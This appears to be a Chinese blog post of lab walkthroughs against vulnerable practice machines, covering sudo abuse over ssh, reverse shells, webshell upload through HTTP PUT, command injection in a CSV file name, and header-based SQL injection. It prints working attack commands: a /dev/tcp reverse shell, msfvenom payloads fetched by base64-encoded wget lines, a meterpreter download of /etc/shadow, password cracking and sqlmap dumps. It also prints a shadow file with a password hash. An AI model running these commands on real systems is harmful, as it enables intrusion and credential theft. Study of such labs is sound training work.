by:qi_gai

命令执行漏洞

一般查看home目录,挖掘用户信息:ls -alh /home
查看具体用户的目录:ls -alh /home/用户名/
查看系统信息:uname -a

m0re

利用ssh命令执行root权限命令
使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;
比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -l
ubuntu自带防火墙,所以关闭防火墙方便后面的操作。
ssh bill@localhost sudo ufw disable
反弹shell
攻击机启动监听netcat
nc -nlvp 4444
查看是否nc正在监听
netstat -pantu

m0re

靶场机器反弹shell

ssh bill@locahost sudo bash -i >& /dev/tcp/ip/4444 0>&1

然后监听端

渗透测试技巧

  • 开启python简易http服务器
python -m SimpleHTTPServer

利用命令执行下载木马文件

ssh bill@localhost sudo wget "http://[ip]:[port]/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp

不过没有成功

暴力破解

使用wpscan对用户名进行提取

wpscan --url www.vtcsec.com/secret/ --enumerate u

探测到一个用户名为admin

使用metasploit进行暴力破解

破解完成,密码admin

登录成功

制作webshell进行上传。

访问404界面

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

这里再提一下之前的提权,这次这个可以查看shadow文件

cat /etc/shadow
root:!:17484:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
mysql:!:17486:0:99999:7:::
sshd:*:17486:0:99999:7:::

所以可以进行尝试之前提到的一种提权方式
先将两个文件下载下来

meterpreter > download /etc/shadow
[*] Downloading: /etc/shadow -> shadow
[*] Downloaded 1.27 KiB of 1.27 KiB (100.0%): /etc/shadow -> shadow
[*] download   : /etc/shadow -> shadow
meterpreter > download /etc/passwd
[*] Downloading: /etc/passwd -> passwd
[*] Downloaded 2.31 KiB of 2.31 KiB (100.0%): /etc/passwd -> passwd
[*] download   : /etc/passwd -> passwd

然后逆向一下这两个文件

unshadow passwd shadow > cracked

然后会发现有了cracked这个文件,在用John进行破解一下,就得到了一个用户名和密码marlinspike

然后登录到一个相对较高的用户,得到一个较高的权限,这个时候,可以使用sudo -l
查看可以使用的sudo命令。
然后发现可以使用sudo bash
最后得到root权限

命令执行(使用集成工具测试)

一个工具,是个坑,不知道什么时候改名字了,原本叫sparta,我找半天没找到,就自己安装,总是定位不到依赖包,尝试了各种方法也没有安装成功。就是因为它改名字了,现在叫legion

感谢那个发现改名的大师傅。
其他没什么了。

中间件PUT漏洞

中间件介绍

中间件包括apache、tomcat、IIS、weblogic等,这些中间件可以设置支持的http方法。(HTTP方法包括GET、POST、HEAD、DELETE、PUT、OPTIONS等)
每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。
直接上传shell,也可以从侧面反映PUT漏洞的眼中危害性。

测试靶场

使用nikto和dirb等工具扫描,除了扫描出来一个test目录,什么也没有;Owasp zap这个漏洞扫描器也没有结果;所以学习一个新工具curl

curl -v -X OPTIONS http://10.0.2.8/test

利用PUT漏洞获取shell思路:
上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;
上传webshell;在test目录下直接使用浏览器插件poster,上传webshell
使用/usr/share/webshells/php/下的webshell
使用火狐工具插件RESTClient上传,内容粘贴shell的代码。然后nc监听相应端口;

然后发送,再去浏览器访问这个URL就可以执行shell了;
查看nc监听情况。
得到shell

命令注入

找到一个上传页面,而且经过测试只能上传后缀为csv的文件,所以在桌面新建一个1.csv然后使用burpsuite进行抓包修改参数,写入可执行的命令在名称里面。
启动监听,使用msfconsole

msfconsole
use exploit/multi/handler 
set payload linux/x86/meterpreter_reverse_tcp
set lhost 10.0.2.4
exploit		#开启监听

然后制作shell;

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=10.0.2.4 lport=4444 -f elf > /var/www/html/shell

然后就是绕过防火墙 上传shell
利用base64绕过防火墙检测

service apache2 start		#开启apache服务
echo 'wget http://10.0.2.4/shell -O /tmp/shell' | base64
echo 'chmod +x /tmp/shell' | base64
echo '/tmp/shell' | base64

使用burpsuite抓包修改参数

"<?php shell system(base64_decode('base64encodestrings'));die();?>.php"

一步一步的将参数修改上传,最后得到反弹的shell,
提升权限;
登录服务器后,反弹的shell是www-data用户,并不具备root权限,
使用sudo -l 查看www-data用户的sudo权限;
根据提示执行以下命令(为了方便,程序员便设置了不需要密码就可以执行的web操作)

sudo perl -e "exec '/bin/bash' "
bash -i

就得到了服务器的root用户权限。

SQL注入-X-Forwarded-For报头注入

靶场是linux 2.6x的系统,安装虚拟机时注意。
然后对靶机进行信息收集,发现了敏感目录,访问是一个登录页面
尝试弱口令登录,但是失败了。

放弃使用弱口令,开始进行漏洞扫描,使用AVWS进行漏洞扫描。

配置好,然后开始scan
等待结果就可以了

最后这个有个高危漏洞,是个盲注。详细信息继续查看。
看出是关于X-Forwarded-For报头注入的一个SQL盲注漏洞。

使用sqlmap进行探测,就可以得到数据库中的数据了。

 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" --dbs --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch

按照套路来就行,最后测出数据

账号密码进行登录
然后就是老套路,上传webshell,连接,提权等操作。


qi_gai Blogger